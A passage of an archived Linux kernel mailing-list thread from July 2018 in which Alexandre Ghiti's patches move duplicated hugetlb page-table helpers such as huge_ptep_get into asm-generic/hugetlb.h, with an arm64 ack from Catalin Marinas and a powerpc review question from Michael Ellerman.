+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v5 11/11] hugetlb: Introduce generic version of huge_ptep_get
Date: Tue, 31 Jul 2018 06:01:55 +0000
Lines: 175
Approved: news@gmane.org
Message-ID: <20180731060155.16915-12-alex@ghiti.fr>
References: <20180731060155.16915-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1533017609 15739 195.159.176.226 (31 Jul 2018 06:13:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 31 Jul 2018 06:13:29 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jul 31 08:13:22 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fkNuJ-0003uQ-0p
	for glk-linux-kernel-4@m.gmane.org; Tue, 31 Jul 2018 08:13:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1731311AbeGaHyF (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 31 Jul 2018 03:54:05 -0400
Original-Received: from relay5-d.mail.gandi.net ([217.70.183.197]:43295 "EHLO
        relay5-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727308AbeGaHyF (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 31 Jul 2018 03:54:05 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay5-d.mail.gandi.net (Postfix) with ESMTPSA id 451FD1C0003;
        Tue, 31 Jul 2018 06:15:19 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180731060155.16915-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2834713 gmane.linux.kernel.mm:200893 gmane.linux.ports.arm.kernel:666846 gmane.linux.ports.ia64:29014 gmane.linux.ports.mips.general:65786 gmane.linux.ports.parisc:28851 gmane.linux.ports.ppc64.devel:160660 gmane.linux.ports.sh.devel:57298 gmane.linux.ports.sparc:28157 gmane.linux.kernel.cross-arch:45535
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2834713>

ia64, mips, parisc, powerpc, sh, sparc, x86 architectures use the
same version of huge_ptep_get, so move this generic implementation into
asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
---
 arch/arm/include/asm/hugetlb-3level.h | 1 +
 arch/arm64/include/asm/hugetlb.h      | 1 +
 arch/ia64/include/asm/hugetlb.h       | 5 -----
 arch/mips/include/asm/hugetlb.h       | 5 -----
 arch/parisc/include/asm/hugetlb.h     | 5 -----
 arch/powerpc/include/asm/hugetlb.h    | 5 -----
 arch/sh/include/asm/hugetlb.h         | 5 -----
 arch/sparc/include/asm/hugetlb.h      | 5 -----
 arch/x86/include/asm/hugetlb.h        | 5 -----
 include/asm-generic/hugetlb.h         | 7 +++++++
 10 files changed, 9 insertions(+), 35 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index 54e4b097b1f5..0d9f3918fa7e 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -29,6 +29,7 @@
  * ptes.
  * (The valid bit is automatically cleared by set_pte_at for PROT_NONE ptes).
  */
+#define __HAVE_ARCH_HUGE_PTEP_GET
 static inline pte_t huge_ptep_get(pte_t *ptep)
 {
 	pte_t retval = *ptep;
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 80887abcef7f..fb6609875455 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -20,6 +20,7 @@
 
 #include <asm/page.h>
 
+#define __HAVE_ARCH_HUGE_PTEP_GET
 static inline pte_t huge_ptep_get(pte_t *ptep)
 {
 	return READ_ONCE(*ptep);
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index e9b42750fdf5..36cc0396b214 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -27,11 +27,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline pte_t huge_ptep_get(pte_t *ptep)
-{
-	return *ptep;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 120adc3b2ffd..425bb6fc3bda 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -82,11 +82,6 @@ static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 	return changed;
 }
 
-static inline pte_t huge_ptep_get(pte_t *ptep)
-{
-	return *ptep;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 165b4e5a6f32..7cb595dcb7d7 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -48,11 +48,6 @@ int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty);
 
-static inline pte_t huge_ptep_get(pte_t *ptep)
-{
-	return *ptep;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 658bf7136a3c..33a2d9e3ea9e 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -142,11 +142,6 @@ extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 				      unsigned long addr, pte_t *ptep,
 				      pte_t pte, int dirty);
 
-static inline pte_t huge_ptep_get(pte_t *ptep)
-{
-	return *ptep;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index c87195ae0cfa..6f025fe18146 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -32,11 +32,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline pte_t huge_ptep_get(pte_t *ptep)
-{
-	return *ptep;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 	clear_bit(PG_dcache_clean, &page->flags);
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 028a1465fbe7..3963f80d1cb3 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -53,11 +53,6 @@ static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 	return changed;
 }
 
-static inline pte_t huge_ptep_get(pte_t *ptep)
-{
-	return *ptep;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 574d42eb081e..7469d321f072 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -13,11 +13,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
-static inline pte_t huge_ptep_get(pte_t *ptep)
-{
-	return *ptep;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index f3c99a03ee83..71d7b77eea50 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -119,4 +119,11 @@ static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTEP_GET
+static inline pte_t huge_ptep_get(pte_t *ptep)
+{
+	return *ptep;
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Catalin Marinas <catalin.marinas@arm.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v5 00/11] hugetlb: Factorize hugetlb architecture
 primitives
Date: Tue, 31 Jul 2018 10:26:34 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20180731092634.m4wpbhyn54r7fxmb@armageddon.cambridge.arm.com>
References: <20180731060155.16915-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1533029081 13040 195.159.176.226 (31 Jul 2018 09:24:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 31 Jul 2018 09:24:41 +0000 (UTC)
User-Agent: NeoMutt/20170113 (1.7.2)
Cc: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
To: Alexandre Ghiti <alex@ghiti.fr>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jul 31 11:24:34 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fkQtN-0003GG-Ul
	for glk-linux-kernel-4@m.gmane.org; Tue, 31 Jul 2018 11:24:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1731864AbeGaLGI (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 31 Jul 2018 07:06:08 -0400
Original-Received: from usa-sjc-mx-foss1.foss.arm.com ([217.140.101.70]:50774 "EHLO
        foss.arm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1729982AbeGaLGH (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 31 Jul 2018 07:06:07 -0400
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
        by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 763937A9;
        Tue, 31 Jul 2018 02:26:42 -0700 (PDT)
Original-Received: from armageddon.cambridge.arm.com (armageddon.emea.arm.com [10.4.13.16])
        by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id 77DCA3F5BA;
        Tue, 31 Jul 2018 02:26:37 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20180731060155.16915-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2834910 gmane.linux.kernel.mm:200907 gmane.linux.ports.arm.kernel:666883 gmane.linux.ports.ia64:29015 gmane.linux.ports.mips.general:65793 gmane.linux.ports.parisc:28852 gmane.linux.ports.ppc64.devel:160668 gmane.linux.ports.sh.devel:57302 gmane.linux.ports.sparc:28159 gmane.linux.kernel.cross-arch:45538
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2834910>

On Tue, Jul 31, 2018 at 06:01:44AM +0000, Alexandre Ghiti wrote:
> Alexandre Ghiti (11):
>   hugetlb: Harmonize hugetlb.h arch specific defines with pgtable.h
>   hugetlb: Introduce generic version of hugetlb_free_pgd_range
>   hugetlb: Introduce generic version of set_huge_pte_at
>   hugetlb: Introduce generic version of huge_ptep_get_and_clear
>   hugetlb: Introduce generic version of huge_ptep_clear_flush
>   hugetlb: Introduce generic version of huge_pte_none
>   hugetlb: Introduce generic version of huge_pte_wrprotect
>   hugetlb: Introduce generic version of prepare_hugepage_range
>   hugetlb: Introduce generic version of huge_ptep_set_wrprotect
>   hugetlb: Introduce generic version of huge_ptep_set_access_flags
>   hugetlb: Introduce generic version of huge_ptep_get
[...]
>  arch/arm64/include/asm/hugetlb.h             | 39 +++---------

For the arm64 bits in this series:

Acked-by: Catalin Marinas <catalin.marinas@arm.com>


From - Thu Nov 08 21:41:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michael Ellerman <mpe@ellerman.id.au>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v5 09/11] hugetlb: Introduce generic version of
 huge_ptep_set_wrprotect
Date: Tue, 31 Jul 2018 20:06:35 +1000
Lines: 226
Approved: news@gmane.org
Message-ID: <87h8kfhg7o.fsf@concordia.ellerman.id.au>
References: <20180731060155.16915-1-alex@ghiti.fr>
 <20180731060155.16915-10-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1533031543 32207 195.159.176.226 (31 Jul 2018 10:05:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 31 Jul 2018 10:05:43 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: Alexandre Ghiti <alex@ghiti.fr>, linux-mm@kvack.org,
 mike.kravetz@oracle.com, linux@armlinux.org.uk, catalin.marinas@arm.com,
 will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
 ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
 jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
 ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
 tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com, x86@kernel.org,
 arnd@arndb.de, linux-arm-kernel@lists.infradead.org,
 linux-kernel@vger.kernel.org, linux-ia64@vger.kernel.org,
 linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
 linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
 sparclinux@vger.kernel.org, linux-arch@vger.kernel.org,
 aneesh.kumar@linux.ibm.com <aneesh.kumar@linux.ibm.com>
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Tue Jul 31 12:05:36 2018
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from lists.ozlabs.org ([203.11.71.2])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1fkRX5-0008Cu-P0
	for glppe-linuxppc-embedded-2@m.gmane.org; Tue, 31 Jul 2018 12:05:36 +0200
Original-Received: from lists.ozlabs.org (lists.ozlabs.org [IPv6:2401:3900:2:1::3])
	by lists.ozlabs.org (Postfix) with ESMTP id 41fsZ9565czF1Hr
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Tue, 31 Jul 2018 20:07:45 +1000 (AEST)
Authentication-Results: lists.ozlabs.org; dmarc=none (p=none dis=none) header.from=ellerman.id.au
X-Original-To: linuxppc-dev@lists.ozlabs.org
Delivered-To: linuxppc-dev@lists.ozlabs.org
Original-Received: from ozlabs.org (ozlabs.org [IPv6:2401:3900:2:1::2])
 (using TLSv1.2 with cipher ADH-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by lists.ozlabs.org (Postfix) with ESMTPS id 41fsXr48GlzF14l
 for <linuxppc-dev@lists.ozlabs.org>; Tue, 31 Jul 2018 20:06:36 +1000 (AEST)
Authentication-Results: lists.ozlabs.org; dmarc=none (p=none dis=none)
 header.from=ellerman.id.au
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ozlabs.org (Postfix) with ESMTPSA id 41fsXq3j4Jz9ryn;
 Tue, 31 Jul 2018 20:06:35 +1000 (AEST)
Authentication-Results: ozlabs.org; dmarc=none (p=none dis=none)
 header.from=ellerman.id.au
In-Reply-To: <20180731060155.16915-10-alex@ghiti.fr>
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.27
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev/>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: "Linuxppc-dev"
 <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:128962 gmane.linux.kernel.mm:200908 gmane.linux.ports.arm.kernel:666896 gmane.linux.kernel:2834938 gmane.linux.ports.ia64:29016 gmane.linux.ports.mips.general:65794 gmane.linux.ports.parisc:28853 gmane.linux.ports.sh.devel:57304 gmane.linux.ports.sparc:28160 gmane.linux.kernel.cross-arch:45539
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/128962>

Alexandre Ghiti <alex@ghiti.fr> writes:

> arm, ia64, mips, sh, x86 architectures use the same version
> of huge_ptep_set_wrprotect, so move this generic implementation into
> asm-generic/hugetlb.h.
> Note: powerpc uses twice for book3s/32 and nohash/32 the same version as
> the above architectures, but the modification was not straightforward
> and hence has not been done.

Do you remember what the problem was there?

It looks like you should just be able to drop them like the others. I
assume there's some header spaghetti that causes problems though?

cheers


> Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
> Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
> ---
>  arch/arm/include/asm/hugetlb-3level.h        | 6 ------
>  arch/arm64/include/asm/hugetlb.h             | 1 +
>  arch/ia64/include/asm/hugetlb.h              | 6 ------
>  arch/mips/include/asm/hugetlb.h              | 6 ------
>  arch/parisc/include/asm/hugetlb.h            | 1 +
>  arch/powerpc/include/asm/book3s/32/pgtable.h | 2 ++
>  arch/powerpc/include/asm/book3s/64/pgtable.h | 1 +
>  arch/powerpc/include/asm/nohash/32/pgtable.h | 2 ++
>  arch/powerpc/include/asm/nohash/64/pgtable.h | 1 +
>  arch/sh/include/asm/hugetlb.h                | 6 ------
>  arch/sparc/include/asm/hugetlb.h             | 1 +
>  arch/x86/include/asm/hugetlb.h               | 6 ------
>  include/asm-generic/hugetlb.h                | 8 ++++++++
>  13 files changed, 17 insertions(+), 30 deletions(-)
>
> diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
> index b897541520ef..8247cd6a2ac6 100644
> --- a/arch/arm/include/asm/hugetlb-3level.h
> +++ b/arch/arm/include/asm/hugetlb-3level.h
> @@ -37,12 +37,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
>  	return retval;
>  }
>  
> -static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
> -					   unsigned long addr, pte_t *ptep)
> -{
> -	ptep_set_wrprotect(mm, addr, ptep);
> -}
> -
>  static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
>  					     unsigned long addr, pte_t *ptep,
>  					     pte_t pte, int dirty)
> diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
> index 3e7f6e69b28d..f4f69ae5466e 100644
> --- a/arch/arm64/include/asm/hugetlb.h
> +++ b/arch/arm64/include/asm/hugetlb.h
> @@ -48,6 +48,7 @@ extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
>  #define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
>  extern pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
>  				     unsigned long addr, pte_t *ptep);
> +#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
>  extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
>  				    unsigned long addr, pte_t *ptep);
>  #define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
> diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
> index cbe296271030..49d1f7949f3a 100644
> --- a/arch/ia64/include/asm/hugetlb.h
> +++ b/arch/ia64/include/asm/hugetlb.h
> @@ -27,12 +27,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  {
>  }
>  
> -static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
> -					   unsigned long addr, pte_t *ptep)
> -{
> -	ptep_set_wrprotect(mm, addr, ptep);
> -}
> -
>  static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
>  					     unsigned long addr, pte_t *ptep,
>  					     pte_t pte, int dirty)
> diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
> index 6ff2531cfb1d..3dcf5debf8c4 100644
> --- a/arch/mips/include/asm/hugetlb.h
> +++ b/arch/mips/include/asm/hugetlb.h
> @@ -63,12 +63,6 @@ static inline int huge_pte_none(pte_t pte)
>  	return !val || (val == (unsigned long)invalid_pte_table);
>  }
>  
> -static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
> -					   unsigned long addr, pte_t *ptep)
> -{
> -	ptep_set_wrprotect(mm, addr, ptep);
> -}
> -
>  static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
>  					     unsigned long addr,
>  					     pte_t *ptep, pte_t pte,
> diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
> index fb7e0fd858a3..9c3950ca2974 100644
> --- a/arch/parisc/include/asm/hugetlb.h
> +++ b/arch/parisc/include/asm/hugetlb.h
> @@ -39,6 +39,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  {
>  }
>  
> +#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
>  void huge_ptep_set_wrprotect(struct mm_struct *mm,
>  					   unsigned long addr, pte_t *ptep);
>  
> diff --git a/arch/powerpc/include/asm/book3s/32/pgtable.h b/arch/powerpc/include/asm/book3s/32/pgtable.h
> index 02f5acd7ccc4..d2cd1d0226e9 100644
> --- a/arch/powerpc/include/asm/book3s/32/pgtable.h
> +++ b/arch/powerpc/include/asm/book3s/32/pgtable.h
> @@ -228,6 +228,8 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
>  {
>  	pte_update(ptep, (_PAGE_RW | _PAGE_HWWRITE), _PAGE_RO);
>  }
> +
> +#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
>  static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>  					   unsigned long addr, pte_t *ptep)
>  {
> diff --git a/arch/powerpc/include/asm/book3s/64/pgtable.h b/arch/powerpc/include/asm/book3s/64/pgtable.h
> index 42aafba7a308..7d957f7c47cd 100644
> --- a/arch/powerpc/include/asm/book3s/64/pgtable.h
> +++ b/arch/powerpc/include/asm/book3s/64/pgtable.h
> @@ -451,6 +451,7 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
>  		pte_update(mm, addr, ptep, 0, _PAGE_PRIVILEGED, 0);
>  }
>  
> +#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
>  static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>  					   unsigned long addr, pte_t *ptep)
>  {
> diff --git a/arch/powerpc/include/asm/nohash/32/pgtable.h b/arch/powerpc/include/asm/nohash/32/pgtable.h
> index 7c46a98cc7f4..f39e200d9591 100644
> --- a/arch/powerpc/include/asm/nohash/32/pgtable.h
> +++ b/arch/powerpc/include/asm/nohash/32/pgtable.h
> @@ -249,6 +249,8 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
>  {
>  	pte_update(ptep, (_PAGE_RW | _PAGE_HWWRITE), _PAGE_RO);
>  }
> +
> +#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
>  static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>  					   unsigned long addr, pte_t *ptep)
>  {
> diff --git a/arch/powerpc/include/asm/nohash/64/pgtable.h b/arch/powerpc/include/asm/nohash/64/pgtable.h
> index dd0c7236208f..69fbf7e9b4db 100644
> --- a/arch/powerpc/include/asm/nohash/64/pgtable.h
> +++ b/arch/powerpc/include/asm/nohash/64/pgtable.h
> @@ -238,6 +238,7 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
>  	pte_update(mm, addr, ptep, _PAGE_RW, 0, 0);
>  }
>  
> +#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
>  static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>  					   unsigned long addr, pte_t *ptep)
>  {
> diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
> index f1bbd255ee43..8df4004977b9 100644
> --- a/arch/sh/include/asm/hugetlb.h
> +++ b/arch/sh/include/asm/hugetlb.h
> @@ -32,12 +32,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  {
>  }
>  
> -static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
> -					   unsigned long addr, pte_t *ptep)
> -{
> -	ptep_set_wrprotect(mm, addr, ptep);
> -}
> -
>  static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
>  					     unsigned long addr, pte_t *ptep,
>  					     pte_t pte, int dirty)
> diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
> index 2101ea217f33..c41754a113f3 100644
> --- a/arch/sparc/include/asm/hugetlb.h
> +++ b/arch/sparc/include/asm/hugetlb.h
> @@ -32,6 +32,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  {
>  }
>  
